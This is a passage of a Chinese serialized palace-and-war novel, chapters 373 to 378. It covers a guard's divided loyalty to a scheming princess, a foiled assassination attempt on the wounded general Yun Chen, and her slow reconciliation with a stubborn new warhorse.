不言注意到南璃君自称“我”,而非“殿下”。他这才明白一切亲近都是为他救驾之事。
殿前侍卫,这算是护卫行当里顶到头的荣耀了。
各行各业都有自己穷其一生难以达到的高峰,殿前侍卫就是护卫行当的巅峰尽头。
不言叩首谢恩,“多谢殿下赏识。勤王救驾乃是霍帮和狮威军的本分,草民尽本分之事,岂敢说‘报答’。草民跪谢殿下恩赏,只可惜草民拙劣,怕是担不起殿前侍卫之责。”
说完这些,空气沉默了片刻,南璃君轻叹:
“我知道,你也怪我。你们都怪我忘恩负义,害了云琛。”
不言忙道“属下不敢”,心里想的却是半个时辰之前,云琛被抬进帐篷的样子。
云琛浑身是血,新伤叠旧伤,简直可以用惨不忍睹来形容。
在霍乾念冲过来唤了一声“琛儿”的时候,她有一瞬间的苏醒。
与霍乾念四目相对的那一刻,欲语泪先流。
两腔迟迟没有落下的眼泪,终在爱人面前堤溃成海。
“阿念……从今往后……我们都是没有爹娘的孩子了……”
第373章 青刃(下)
“阿念……从今往后……我们都是没有爹娘的孩子了……”
一句话,叫在场所有人心酸落泪,连旁观的军医都为之动容。
连日压抑的所有委屈和痛苦,都在这一句轻飘飘的话语里,爆发得震耳欲聋。
云琛,霍乾念。
他们都没有父亲了。
从今以后,在这个世界上,他们都是没有双亲的孤儿了。
当皇权倾压下来,发出“和亲”的东宫令时,可曾有一丝丝想过,他们的父亲才刚刚为国战死。
可即使是这样,云琛还是拼尽最后的意识,挣扎着在霍乾念手心写下半个“黑”字。
直到将这最紧要的军情带回来,云琛才敢彻底昏死。
想着方才那一幕,不言很想说:
怪啊,怎能不怪,那可是我的少主,还有我最好的兄弟啊……
“云琛伤得很重吗?”南璃君问:“为了逃出王庭,她吃了很多苦吧?”
不言挺直腰杆,回答:“殿下放心,阿琛什么大风大浪都见过,这次也行的。”
南璃君点点头,自言自语地说了句:
“真好啊……要是他也能这样回来就好了……”
不言知道,南璃君是在说她的情人颜十九。
南璃君在怪云琛独自逃出来,没有救出颜十九。
不言按下心头无奈失望,诚恳道:
“殿下,草民不求‘殿前侍卫’之职,只求殿下看在云琛与草民王庭救驾的份上,无论什么,都原谅云琛吧。”
南璃君露出委屈的表情,“看吧,我就说你们都怪我。你为何觉得我会怪罪云琛?她劳苦功高我怎能不知,只是洛疆王以停战为条件求娶她,我若不应——
只怕要让天下人骂我偏私宠臣而置百姓于不顾。要云琛和亲不过是缓兵之计,我原本计划命人潜入王庭救出她的,可惜,我身边如今没什么可用之人,连侍卫和暗卫都在俘虏时**了……”
对上不言惊讶还带些怀疑的目光,南璃君自嘲一笑:
“不言,你是云琛的朋友,也是霍帮的亲卫。若有一天,必须要你在二者之间做出抉择呢?”
不言沉默了。南璃君继续道:
“瞧,你也难以抉择,对吗?我也一样的……身为东宫储君,我不能只顾云琛,我还要顾及千万百姓的性命安危,顾及楠国江山啊……不言,你以为要云琛和亲的时候,我就不痛苦吗?同为女子,我怎能不知……”
这番话恳切,甚至带着一点卑微,说是掏心掏肺都不为过。
那从来高傲的公主,竟在一个普普通通的小护卫面前吐露心扉,不言感到受宠若惊,似乎能体会到南璃君身处高位的不易。
他有些愧疚地说:“殿下恕罪,是草民愚钝,未能及时明白殿下的心意。”
南璃君展颜一笑,露出个凄美的笑容,轻声道:
“你不怪我就好。”
这声音温柔似水,语气似喜含嗔,叫不言心头一阵波澜翻涌,竟不敢再与之对视。
见火候差不多了,南璃君的嘴角勾起一抹弧度,又飞快隐藏。
她继续摆出楚楚可怜的姿态,哀怨叹息:
“不言,如果霍乾念也像你一样懂我,该有多好……这回云琛遭了罪,他只怕要恨我,君臣之间一旦生出隔阂,只怕于国于民都不利,也不知道他怎么想的,唉……”
不言想要开口回答,所有话冲到嘴边又停了下来。
南璃君的话看似有理,听在任何人耳朵里,都显得她以国事为主,霍乾念倒像个斤斤计较的。
这也就罢了。只是她不该一上来就说“如果霍乾念也像你一样懂我”。
不言想,他家心思玲珑剔透的少主,岂会不如他?
这句捧一踩一,将原本还心神荡漾的不言瞬间惊醒,拉回现实。
他终于明白南璃君为何叫他来此,原来是想从他嘴里套话,探知霍乾念的心思。
不言脑海里闪过霍乾念刚才的样子。
在医女将所有人,包括霍乾念在内,全部赶出内帐的时候,霍乾念最后一个走出来。
他低垂着肩膀,两眼空洞地望着空中,脚步拖沓又沉重,满脸满身都沾着云琛身上的血。
那一刻,不言不仅从霍乾念身上感到巨大的痛苦,甚至有种正是霍乾念杀了云琛的错觉
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。
像是亲手杀**爱人,霍乾念的样子像要碎了似的,呆呆地跌坐下,直勾勾地盯着手上的血迹。
荣易走上前,“扑通”一声,直挺挺地跪下,从牙缝里挤出一句话:
“父不慈子奔他乡,君不正臣投他国!荣易今后唯以霍将军和云将军马首是瞻!若违此誓!天诛地灭!”
这话惊得不言后背一寒,立即更严地关紧帐帘,警惕打量四周,还不忘往内账看一眼。
再次确定帐子里都是霍乾念的亲信,内账里乱的什么都顾不上,不言才少许安心,但仍然想给荣易一闷棍,心骂:
你小子表忠心就表忠心,给少主架那么**啥?!怂恿少主**?疯了吧你!
只是在场所有人都没有说话,不言也不好说什么。
所有人都被荣易这话惊到了,全都看向霍乾念。
眼下能站在这帐子里的,全都是既可以跟着霍乾念平定四海,也能跟着翻天覆地的。
不管霍乾念做什么决定,众人都绝无二话。
外帐里陷入长久的死寂。
四下只能隐约听见内帐里的忙乱声:
“不好!快拿止血散!”
“血止不住!拿热钳!”
“盐水!再多些!快!”
伴随着这些声音,不言清楚地看到,霍乾念的眼神慢慢从虚无变得无比阴鸷,像极了一道淬了毒的青刃。
仿佛南璃君此刻就站在他面前,他要用这青刃贯穿她的身体,以及东宫的一切一切。
想到这里,不言低下头,恭敬又认真地回答:
“不敢欺瞒殿下,我家少主见到云琛这样,特别难受。少主后悔没有保护好云琛,更后悔没能尽早救出殿下,于公于私,少主都愧悔不已,只盼将敌人一网打尽,为您也为云琛报仇。”
好一番滴水不漏的场面话。
南璃君脸上的楚楚神色慢慢褪去,无声地冷笑一声,语气不明地说道:
“说得很好,不言,你是个好护卫。”
不言嘴上冠冕堂皇地谢恩,心里想的却是:
想套我的话?开什么玩笑!我又不是靠话多当霍帮亲卫的!
第374章 刺杀云琛
从离开南璃君帐篷那天开始,不言时常收到些有点暧昧但又不过分的赏赐。
比如一双殿前侍卫标配的缎面靴子,一条绣得歪歪扭扭的织金腰带,还有一枚样式很像同心结的护身符。
说一点都不心动是假的。
不言依稀记得几年前初见南璃君的那天,是替云琛办差,在烟城白鹭岛的一个阴雨天。
到处都灰蒙蒙的,屋檐湿漉漉,风铃嗒嗒滴着水,雨落在草地上发出窸窣的声响,地面慢慢积起浅浅一层白雾。
当不言护卫着霍乾念走过去时,恰好云开雾散,一道金色日光照耀在那身影上——
一片冷寂之中,唯独南璃君明媚夺目,笑颜如花地坐在那里,周身像度了圣光似的,有点狡黠又有点顽皮地对着他们笑。
短短一眼而已,不言感觉那光细若游丝却极具穿透力,径直穿透他的衣衫和皮肉,寻进他心里很深的地方,轻轻窝了下来。
从此再也没有离开。
自那以后,每次有去白鹭岛的差事,不言都会非常积极地去办。
他并不觊觎高贵的凤凰,也从未刻意接近过,只是远远瞧着就心满意足,却慢慢透过那圣光,意外地看见冷冰冰的、荒芜的空洞。
从那以后,再去看南璃君的话里有话,她的小性子和小脾气,她的虚情假意时,他总能穿透一切伪装,看见最真实的她——
一个胆怯的、彷徨的、孤独的孩子,坐在这权谋似海的风浪里,抱紧自己,假装成坚强的大人模样。
有时候,仅仅是看她一个人坐在那里得体地笑,他便心疼不已。
当在王庭狗圈里看到惨不忍睹的她时,不言内心所有痛惜都达到了巅峰。
那一刻,他用铠甲为她挡住身体,也多么希望能为她挡住这世界一切刀枪剑雨。
只是,爱她这件事,是他全部的爱情,却不能是他全部的心。
所以在面对她伪装的楚楚可怜、步步试探时,同往常一样,他摁下如野草疯长的爱意,拉起他霍帮亲卫的忠诚警戒,漂亮地回答了每一个问题。
很明显,她很失望,但他毫不后悔。
因为他是霍帮亲卫,忠诚早已深深刻在他的命脉里。
不言出神地想着这些,直到榻上的云琛动了动身子,嘟囔着说了句梦话,他才回过神。
他走到榻边仔细查看云琛,虽然她还浑身裹满血渍斑驳的草药布巾,一身浓浓的药味,但人已经从昏迷转为熟睡,脱离生命危险。
不言安心许多,在帐子里环顾一圈,到处检查仔细,又去看了眼帐外守卫的一队亲兵护卫,全是霍乾念在领军出战之前,专门留下来护卫云琛的。
见四处无恙,守卫得十分森严,他走到云琛榻边席地而坐,像是在对云琛说话一般自言自语:
“阿琛,你这次慢点好起来吧。根据你在少主手心写的‘黑’字,少主已推测出黑鳞骑兵与头曼勾结之事,担心黑鳞骑兵占据东部后,欲与新洛疆王头曼的部队联合。
少主已领兵前去拦截,可能已经打起来了。黑鳞骑兵打了这么久,又经历与雷霆云纹对战,如今只剩十来万人。咱们现在有二十二万,占大优势啦!
只是洛疆兵力太雄厚,若是让黑鳞骑兵和他们合起伙来,只怕楠国真的要面临灭顶之灾了……不过你放心,有少主在,叶峮哥也去了,段捷也带着北伐军同去,一定没事。这次你慢些醒,最好等少主凯旋后你再醒,那样你便少吃些苦,少受许多罪了。”
想起当年初见云琛的情景,再想到这一路艰难困苦,不言忍不住长叹,不解地感慨:
“我真不明白,少主为什么舍得你这样出生入死赴战场?不应该是将你金尊玉贵地养在府里头吗?”
不言不懂,云琛每一次受伤,霍乾念都心疼得跟要**似的,为什么还是纵容云琛一次次冒险呢?
不言开始仔细思考这个难题,忽听帐外一阵嘈杂,像是有人要硬闯进来。
他赶忙起身查看,竟又是南璃君身边的宫人。
十几个宫人乱糟糟站在外面,为首的是一个宫女,叉腰竖眉,姿态倨傲不满,正与守卫帐篷的亲兵对峙。
见到不言出来,那宫女的脸色缓和了些,但语气仍然不善:
“不言!公主叫你去一趟,有事问你!”
不言摆出笑脸:“公主传唤,草民这就去。下次您使唤个小兵来通传一声就行,这点小事,怎好烦您亲自跑一趟?”
听了这话,宫女脸色更缓,“公主赐了许多伤药,命我来看望云将军。”说着又瞪向几个守卫,“只是你家‘看门狗’太多,不领公主好意!”
“哈哈,您说笑啦!”不言连忙又是一阵陪笑。
他带着那宫女去云琛榻边看了一番,接下一堆御赐,叩谢了南璃君东宫圣恩,嘱咐好守帐护卫后,才随那一大群宫人向公主帐而去。
不言一路和宫女说着话,走出去很长的距离后,他突然发现有点不对劲。
他停下脚步,不
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客气地开口发问:
“我说,你刚才来的时候,是带了十二个人吧?”
宫女一脸茫然:
“我不记得了,但应该是十一个!”
不言再次环顾四周,又快速数了一遍。
他确信自己不可能看错,直接一把拉住宫女,严肃质问:
“应该是十二个人!还有一个人呢?!”
宫女被吓了一跳:
“你在说什么呀?我听不懂!什么‘十一个’‘十二个’的?这种小事**嘛专门去记?”
不言看出这宫女没有说谎,但他确信方才这宫女去探望云琛时,分明一共十二个人!现在却少了一个!
不言心头一沉,立马拔腿往回跑,以毕生最快的轻功朝帐篷冲去。
“阿琛!!”不言大吼,一头冲破帐篷,力气之大几乎将门柱带倒,接着便看见云琛安然无恙地昏睡在榻上。
一个持刀的宫人倒在云琛旁边的地上,脖子已被扭断,眼睛还在微微颤动,显然是刚刚**死的。
这时,梁顶的阴影里传来一个无义血卫的声音:
“不好意思,下手重了,你给他掰正吧。”
不言上前查看那宫人,这才发现对方脖子竟被拧了整整一圈,脊骨尽碎,就剩脖子上的皮肉还连着,拧成了麻花样。
听着帐篷外面乌泱泱围过来的声音,不言赶紧将宫人的脖子掰正,将那把本来要杀云琛的刀放进宫人手里,横着抹了下宫人的脖子。
血液没有喷溅,只是缓慢地流出。
不言打量四周,一个放着人参的托盘摔在一边,估计这宫人就是以送补品为借口,趁不言离去后,又折返来刺杀的。
门口守卫见不言先前已带宫人进过一次帐篷,第二次便没有再阻拦。
这一套小而致命的连招,很符合南璃君的风格。
不言将人参踩得粉碎,踢进角落,再次检查云琛,确定她完全安好之后,朝梁顶阴影拱手道谢。
下一刻,宫人们全部冲进来,见地上那宫人死状奇惨,竟然是南璃君的贴身宫女,立马尖叫着要去禀告南璃君。
不言用冷冷的目光扫视所有人,一把扛起那宫人还在滴血的尸体,沉声道:
“不必你们乱嚼舌根,让这厮自己去说!”
不言浑身散发着怒意,肩上还抗着血流不止的尸体。
鲜血缓缓浸染他的肩头,将半边衣服都泡得发黑,看起来颇为骇人。
他就这么大摇大摆地抗着尸体,径直往公主帐而去。
第375章 所求在你
不言扛着那宫人的尸体,径直往公主帐走。
一路上,所有人都窃窃私语,投来惊异的目光。
就这么走到南璃君帐篷,却不料扑了个空。
南璃君不在,守卫说她去不远处的山坡赏雪了,不言立马调转方向,继续扛着尸体而去。
远远的,不言看见一众亲兵护卫之中,南璃君一身洁白单衣,立在坡顶。
她墨色的长发在冷风中交织飞舞,轻拂着一张比雪还要冷艳的容颜。
不言不禁心头一阵刺痛,继而更觉痛苦。
他将那宫人的尸体扔在南璃君面前,冷冷道:
“殿下,您的宫人好像弄丢了人参御赐,竟在云将军榻前畏罪自裁了,此乃草民亲眼所见,殿下可否找人验尸?”
不言一个字都不肯多废话,语气也生硬极了。
纵使再对南璃君有情,他也接受不了,她竟然要派人刺杀云琛。
若不是山寂听闻云琛受伤,早早安排了无义血卫来秘密守卫,照方才的情形,只怕不言前脚被诓骗离开,后脚云琛便会遭遇不测。
根本不敢去想那后果,不言心头阵阵后怕,更为南璃君的无情感到彻底失望。
霍乾念正领兵在前线殊死战斗,南璃君却在后方挖空心思要杀他的爱人。
况且这“爱人”还是狮威军的玄威少将!是为国豁出性命征战了无数回的功将!
不言不明白南璃君怎么了,为什么从王庭回来,她就像变了一个人似的。
“畏罪自裁?怎会?一棵人参而已。”南璃君一脸惊讶,回头看见地上的尸体,吓得脸色一白,“这是我的一个贴身宫人,怎么回事?”
不言皱眉看着南璃君煞有其事的“戏码”,懒得绕弯子,冷冰冰直白道:
“这么说来,您的贴身宫人刺杀云琛,这事您全然不知情,和您一点关系都没有?”
“刺杀云琛?”南璃君神情更糊涂了,接着才像听懂不言的意思,一副受伤的表情道:
“云琛被刺杀?你怀疑我?我若要杀云琛,为何要派自己贴身宫人去,岂不是引火烧身?”
这句给不言问住了。他开始有些迟疑。
南璃君看出他的神色松动,立刻委屈地红了眼眶,接着道:
“云琛被刺杀一定是**的?凭什么?就不会是她自己得罪了人,或者我的贴身宫人被人收买,再或者是有人故意使这种阴招离间君臣?不言,你有什么证据证明一定是我主使的?”
不言答不上来。不知为何,平时那么利索的嘴皮子,一遇到南璃君就说不出来了。
略微思索之下,他觉得自己确实鲁莽。
南璃君说得没错,他没有指证南璃君为刺杀云琛主使的证据,充其量只能是怀疑。
再说,当着营地这么多人的面,派贴身宫人公然刺杀?还不怕面对霍乾念,承担那可怕后果?
不言想,南璃君虽像个没长大的孩子,却不至于蠢到实名搞刺杀。
想到这里,不言轻轻叹了口气,郑重行礼,向南璃君道歉:
“殿下恕罪,是草民胡说八道,惹您生气了。”
“不妨事。”南璃君擦擦眼角的泪水,像被冤枉习惯了似的,可怜巴巴地看着不言,随即展颜而笑:
“这样也挺好的,不言,这下我明白你的心意了。”
不言愣了一下,南璃君抬手示意所有亲兵护卫退下,用那双璀璨又美丽的眼睛,温柔地看着不言。
“这下我知道了,你喜欢我,对吗?”
不言身子一僵,他垂首不去看南璃君,强辩道:
“殿下恕罪,草民不知您在说什么。”
南璃君眼中还有残泪,笑容却愈发温柔夺目。
她缓缓走近不言,仰头看着这个不敢与自己对视的男人。
他是霍帮的第三亲卫,半个暗卫,身材要比其他护卫更清瘦,却仍比一般男人笔挺。
此时此刻,他的半身半脸上全是血渍,明明看起来很吓人,她却忍不住伸出洁白修长的手,轻轻摸向他的脸。
不言明显吓了一跳,想躲却没有动,只是愣愣地看着南璃君,眼神从惊讶变得惊喜,接着又回归平静。
他知道,南璃君一直想策反他,眼前再美丽,再温柔,也不过是她的伪装。
只是那痴痴的眼神,仿佛一个女人看着深情挚爱,着实令不言心动,不由暗叹,真是越美丽的女人越会骗人,这演技实在精湛。
南璃君轻声道:“是谁要杀云琛,已经不重要了。今日这么多人瞧见这事,那便依你,就说我赐人参给云琛,宫人弄丢了,畏罪自裁。不言,你说什么就是什么,我都听你的。”
实在接受不了这种撩人心弦的假
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情假意,不言后退一步,叫那温柔离开脸颊,也让自己的心神更稳定些:
“殿下,草民不明白您的意思。”
南璃君笑笑:“你怀疑我要杀云琛时,本可以抓那宫人一个人赃并获,就算杀死他,也该首先将此事告诉霍乾念。毕竟如今他与狮威军都对我有怨怼,此时再添一把火,不正合适?
可你却选择将这事掩盖,虽然‘弄丢人参畏罪自裁’的谎言有点勉强,但任何人都已无法拿此事与我发难,再去追究。不言,你喜欢我,你很怕我跌落,对吗?”
若从高高的东宫宝座跌落,南璃君失去的将不只是权力地位,必然还有性命。
不言许久没有说话,算是默认。
就连他自己都没有反应过来,他刚才看到那宫人的尸体时,第一反应竟然不是将事情闹大,传信给霍乾念,而是下意识选择为南璃君遮掩。
这时,南璃君凄然一笑,声音清冷道:
“不言,我会向你证明,我没有要杀云琛。你的心意,我会报答。”
说罢,南璃君提起裙摆,头也不回地向向雪坡顶跑去,宛如一只美丽又决绝的白蝴蝶,从坡顶一跃而下。
“公主!!”
不言惊叫着冲上去,但已来不及阻拦,只能一把抱住南璃君,用他自己的身子朝下坠落。
他不知这坡底积雪之下,会是什么要命的石块或木桩,这一瞬间,他满心想的只有南璃君的安危。
幸而坡底只是草地和积雪。
二人重重坠落进绵白厚重的雪地里,扑起漫天飞雪。
不言仰躺在一望无际的洁白雪地中,怀里紧紧拥着南璃君,飞扬的雪花被阳光照得晶莹剔透,飘飘落在他们身上。
他知道此刻已该放手,再抱下去就是逾矩,可双手就像不听使唤一样,怎么都移不开。
就在他用这辈子全部的毅力控制住手,想要松开时,南璃君却突然紧紧抱住他,声音颤抖:
“不言,这样可以证明我的清白了吗……我没有要杀云琛,求你信我,好吗……”
沉默片刻,不言用力拥住了南璃君。
后者将头埋在不言胸膛,唇角终于弯起满意的弧度:
不言啊不言,我确实没有想杀云琛,否则我何苦派个不会功夫的宫人去?
我所求——
在你呀。
第376章 失恋
在南璃君故作楚楚,试图套话的时候,不言无动于衷。
在她精湛地表演一个弱女子的时候,不言也不为所动。
无论什么样的她,嬉笑怒骂的,高高在上的,昏庸无情的……都只让他压抑下爱情,觉得惋惜和心疼,翻不出其他浪花来。
可当她义无反顾跳坡、竟用寻死来证明清白的时候;
她堂堂楠国储君,对着一个小小护卫表白和证明的时候。
不言的心彻底动摇了。
像是平地掀起一场要命的惊涛骇浪,只有他的怀抱才能铸起保护她的天墙。
远远望着她已不够,他突然生出想要守护她一辈子的念头。
“抱歉,公主殿下,我是霍帮亲卫。”
在雪地的最后,不言紧紧拥抱住南璃君——接着扶她站起,得体地退开三步距离,生生掩下满腔愁情,明明白白地告诉她:
我是霍帮亲卫。我不能爱你。
不言完美地饯行了他忠诚护卫的承诺,心里却莫名愧疚难当,几乎不敢直视南璃君盈满泪水的失望的双眼。
在南璃君心碎的抽泣声中,不言叫来公主亲兵,护送她回帐,然后头也不回地离开。
不言回到云琛身边,继续坐在榻边守卫。
他的耳朵和眼睛都警戒着四周,心却乱成一团糟,怎么都静不下来,甚至都没有发现云琛什么时候醒的。
“不言哥,你咋了,失恋了?”
云琛嗓音沙哑,原本一句玩笑话,却正好戳中不言内心。
他苦笑一声,想说“还没开始恋呢,哪来失去”,下一刻才反应过来云琛终于醒了,高兴地立马从凳子上蹦起来,不停大叫:
“阿琛!阿琛!!阿琛啊!!”
云琛抬手捂住耳朵:
“好吵。”
不言兴奋地叫唤了一阵,完全忘记男女大防,直接上前抱住云琛。
云琛没有看见不言的脸色,只听到他声音忽然变得特别低落:
“阿琛,对不起,差点就害了你……”
云琛只当是为逃出王庭时,她被暴风雪卷走的事,拍拍不言的肩膀以示安慰,殊不知自己方才差点在睡梦中被人杀死。
环顾帐子里,除了梁顶上隐约有个血红色的身影,就只有她和不言,霍乾念和其他人都不在。
“不言哥,阿念他们呢?”
“去拦截黑鳞骑兵了,防止他们和洛疆的人马汇合。已去十五天了。”
云琛估摸了下时间,霍乾念应该已和焦左泰那方相遇交手。
她第一次有种见不到他就心不安的感觉,终于能体会到一些,每次她不顾后果拼命时,他如何焦灼的滋味。
云琛心里着急,恨不能现在就上战场,去助霍乾念一臂之力,奈何满身伤还未愈合,被熊抓破的小腿一碰就疼。
别说提剑上阵了,现在就是让她走两步都费劲。
于是接下来几天,云琛只能成天在营地四处散步,试图让自己恢复得快一些。
她在前面慢吞吞走着,不言拿根绳子在后面悠哉悠哉跟着。
她回头看看不言,再看看自己,颇为不满地**:
“不言哥,你遛狗的呢?”
不言呲着牙笑:“万一你晕了,我好拿绳子把你拖回去。”
云琛挥舞拳头表示**,然后呲牙咧嘴地蹲下,从地上团起个雪球,扔在不言头上。
后者拍拍脑袋上的雪,直接趴在地上,将两条胳膊长长地伸开,使劲往怀里揽,看架势是要团个超级大雪球。
“不好!”云琛见势不妙,赶紧一瘸一拐地小跑逃去,嘴里玩笑大喊着“救命救命!”
不言得意的声音从后道:
“也就是看你受伤,给你来个小的!”
话音落下,一个比云琛脑袋还大的雪球直直飞过来。
她大笑着闪躲,可惜跑不快,只能将身子侧蜷起,抱住脑袋,准备迎接一击。
没有感受到意料中的冰凉,她抬头看去,只见吞云兽不知从哪里跑了过来,正用身子横在她与不言之间,替她抵挡了雪球的攻击。
她惊讶地看着吞云兽,那黝黑发亮的皮**像极了狗小六。
吞云兽并不知道云琛在想什么,但它能看见云琛眼里的笑意慢慢消失,
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取而代之的是充满抗拒的敌意。
云琛并不理会这好意,径直绕开吞云兽。
倒是不言颇为满意地拍拍吞云兽的脑袋,赞道:
“这马不错啊!估计是听到你喊‘救命’,它当真了,所以过来救你呢!”
云琛不想搭理这话茬,却不料吞云兽突然张口咬了不言一下,马齿叩得“噔噔”响,听起来就很用力。
不言“哎呦”大叫,捂着手掌直跳脚,疼得骂道:
“这马忒报复心忒强!娘的!给我咬出血了!”
“不许乱咬人!”云琛想都没想,给了吞云兽脑袋一巴掌。
吞云兽没有躲,也没有还“口”,只是淡淡地看了云琛一眼,就又走开了。
云琛见状,便朝与吞云兽相反的积雪凹地走去。
一人一马像赌气似的,看得不言莫名其妙。
“阿琛,前面积雪太深,你别走!”不言想要拦住云琛,却忽然走来两个宫人,说是南璃君又传令找他。
看了眼不远处的无义血卫和亲兵们,想到如今云琛已苏醒,没人能轻易再行刺杀,不言只得嘱咐了一句“阿琛听话别玩雪!雪湿了身上冷,你伤还没好呢!”然后随宫人而去。
云琛心里正不爽,拒绝听不言的话,自顾往前走。
这时,吞云兽不知道抽什么风,竟又折返回来,用马身拦在云琛身前,不许她再往前走。
云琛不想理它,一瘸一拐地绕开,想换个方向走,结果吞云兽又挡了过来。
云琛向左,它就挡左;云琛往右,它就挡右。
一来二回,云琛终于生气,冲吞云兽大喊:
“滚开!”
吞云兽仰起脑袋指指后背,意思好像是“到我背上来,我驼你去看雪。”
云琛皱眉,“我跟你不熟!!”
说完她自己都觉得可笑,吞云兽只是匹马而已,又不是人,她干嘛说这个。
可吞云兽明显听懂了,不再坚持要云琛上马背,只是四蹄撒开,把身子牢牢一杵,一副摆明不放行的样子。
还别说,这犟起来的模样,还真挺像个人。
第377章 驯马
云琛犟。
吞云兽更犟。
它拦在云琛身前,气得她头顶冒烟。
她现在满身伤没好,对吞云兽是打也打不动,骂也没啥用,最后只能扭头回帐篷,打消了去雪凹地的念头。
万万没想到,一切只是个开始。
接下来半个月,云琛算是彻底见识到了什么叫“性情无常”和“犟种转世”。
不言时常被公主叫去,无义血卫和亲兵都在不远不近的地方护卫。
只有吞云兽成天在云琛身边神出鬼没,跟个监工似的,盯着云琛不许玩雪,不许拿剑,不许大风天露脸,不许只穿单衣就出帐篷。
只要云琛做一些不合适的事情,吞云兽就整个身子往那一横。
云琛挪一下,它就动一步。
搞得云琛浑身发毛,好几次都想扒开马**看看,是不是有个神经病藏在里面,吞云兽却灵活地避开,并不让她抚摸触碰,好似不接受她的亲近。
“你还挺有脾气!我没嫌弃你,你倒嫌上我!”云琛气骂。
她莫名讨厌这匹马。
哪怕它如此高大矫健,极通人性,可她就是喜欢不起来,怎么看它怎么不顺眼。
从前水中龙在时,她时常为其刷洗、梳**,一有空就亲手拿草料去喂,有时候夜里还在马厩陪它睡。
云琛偶尔有说不出口的心事和愁闷,没有说给任何人,都说给了水中龙听。
几十场血战,水中龙载着她出生入死,从未退缩,她有多勇敢,它就有多无畏。
且战场上那般千钧一发的场面,任何时候,不必她多说,只要缰绳轻轻一动,或者她身子一倾,剑锋一指,水中龙都能立马意会,快速行动,从无半点拖沓。
对于她来说,水中龙是最亲密的战友。
不像这个什么吞云兽,性子倔,脾气怪,怎么都与她相处不来。
各种拦她就算了,她伤好些的时候,想要提前与吞云兽磨合,骑马四处跑一跑,模拟一下战场奔袭。
岂料吞云兽根本不听她的。
她要跨草沟,吞云兽偏要绕沟走;她要跳雪坡,吞云兽就慢吞吞往下溜,一点冲锋陷阵的架势都没有。
倘若有小河在前面,吞云兽更是一步不肯走,载着云琛在河边踱来踱去,就是不跳。
这样有主见不听命的马,怎么能当她的坐骑!
回头上了战场,先锋队全部在前冲锋,就她原地打转。
一遇到危险就退缩,到时候乱了军心不说,很可能搅得将士们分不清进攻方向,直接吃败仗。
若因一匹马折了千万将士性命,云琛只怕以死谢罪都不能偿还。
想到这里,云琛气得七窍生烟,狠狠拽住缰绳往荒地上拉去,边拉边骂道:
“我今儿不驯服你!我就不姓云!‘吞云兽’?什么破名字!还‘吞’我呢?狗东西!”
吞云兽被拉得疼痛,发出一声嘶鸣,本能抬起前蹄就要踹云琛,却抬到一半又放下,只是用脑袋去怼云琛的身子。
一人一马就这么在荒地上拉拉扯扯,谁也不服谁。
旁边的无义血卫实在看不下去了,抱着胳膊走过来,狡黠一笑:
“要帮忙不?我有一招,想不想试试?”
这无义血卫是山寂的心腹,派来给云琛当了快一个月的暗卫,日夜守着云琛一举一动,早已对云琛十分熟悉。
不等云琛拒绝,那无义血卫径直拿过她手里的马鞭,说了句“退后”,然后一手抓住马嚼子,一手高扬马鞭,凶狠地朝吞云兽抽去。
“啪”的一声,吞云兽被抽得扬蹄嘶鸣,马背上立刻绽开一道血痕。
云琛被这大力吓了一跳,下意识后退好几步。
紧接着眼前黑影一闪,鞭子凌厉破空,又是极其暴力的一鞭打下来。
云琛惊得目瞪口呆,她知道无义血卫心狠手辣,却没想到对马也如此凶残。
眨眼之间,几十鞭子劈头盖脸地下去,吞云兽满身皮开肉绽,疼得不住嘶鸣,黑色的皮**凝结成一绺一绺的,露出红白的皮肉。
云琛原本是很讨厌吞云兽,可这会眼睁睁看它被打,她又瞬间心疼起来,急忙冲上去夺下鞭子:
“别打了!我自己驯吧!哪有你这样驯马的!太过分了!”<
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br>无义血卫“嘿嘿”一笑,开始假模假样活动手腕,“不妨事,没了鞭子还有拳脚,我指定将这畜生打服!”
云琛赶忙张开胳膊,拦在吞云兽身前:
“这是我的马!不许别人打!”
无义血卫露出一抹得逞的坏笑:
“你确定?”
云琛坚定点头:“我确定!”
她只是不想说而已,其实她心里很清楚,她并不那么讨厌吞云兽,她只是在气她自己。
一看见吞云兽,她就会想起水中龙,那是她亲手杀死的狗小六。每个夜里想起一次,都要深深地愧悔、自责、痛苦一次。
一想到狗小六,她就会想起短暂相识又永远阴阳相隔的老阿奶、多吉、熊顿,想起洛疆王庭,想起颜十九……
想起云中君至死都未听到她说一句“爹,生辰安康”。
她将王庭的遭遇以及对自己的气恼,一股脑转移到吞云兽身上,可无义血卫这几十鞭子让她醒悟:
马儿又有什么错呢?纵使不是听命乖巧的好马,可狗小六又不是它杀的,颜十九也不是它放弃的,不是吗?
想到这里,云琛心疼地抚摸吞云兽的脑袋,感到十分自责。
这次,吞云兽没有闪躲,只是静静地任由云琛抚摸,用疼得泛起泪花的大眼睛看着她,无辜又可怜。
见此情景,无义血卫拍拍吞云兽的脖子,笑道:
“我就帮你到这了”。
这话不像是对云琛,竟像是对吞云兽说的。
听起来刚才这一出,像是在驯服云琛这匹“倔马”似的。
无义血卫道:“这几天我从旁看着,这马并不是不听话。此马是正统高原马,嗅觉十分发达,百里外可嗅到猛兽气味,警戒极强。
所以你我闻不到的,它都能闻见。你如今身上伤口都已结痂,但在它闻来,还有血腥残余。它知道你并没有好全,所以不肯涉水、跳坡地颠簸,应该是怕伤着你。”
这番话听得云琛心里既暖又愧疚,她疼惜地抱住吞云兽,轻声说“对不起”,后者低头翻出两口草嚼着,一脸无所谓的样子。
第378章 勿相忘
二十天后,云琛伤大好的时候,狮威军终于传来消息,成功将焦左泰与黑鳞骑兵阻拦在幽州外,暂时阻止了其北上与洛疆头曼军队悄悄汇合的阴谋。
听闻此,头曼迅速集结出兵,意图从后包抄,继续与黑鳞骑兵联合的计划。
云琛与留守部队人数太少,不堪一战,只得迅速拔营,护卫着南璃君急向幽州,去与大部队汇合。
在离开洛疆的前夜,云琛骑着吞云兽,静静面向王庭的方向伫立许久,宛如一座雪地里长出来的冰雕。
不言走过来安慰她:
“颜十九……我一直挺烦那厮,但不得不说,他真的挺爷们。阿琛,就当他是英雄,你活下来,才是成全他的心意。”
云琛又回想起颜十九握着她的手,那决绝捅向他胸口的样子。
云琛眼眶有些湿润。
她这辈子第一次杀朋友,也是第一次弃朋友于不顾。
但就算再重来一千一万次,她还是会做同样的选择——
放弃颜十九,将头曼和黑鳞骑兵联合的阴谋尽快带回狮威军。
家国大义永远比个人恩怨重要。
“我知道的,不言哥。”云琛的声音无比低落。
望着无际的繁星穹顶,她又想起老阿奶、多吉、熊顿……
想起那个死在蒙克手下的北伐军将士……还有千千万万永远长眠在雪原的人们。
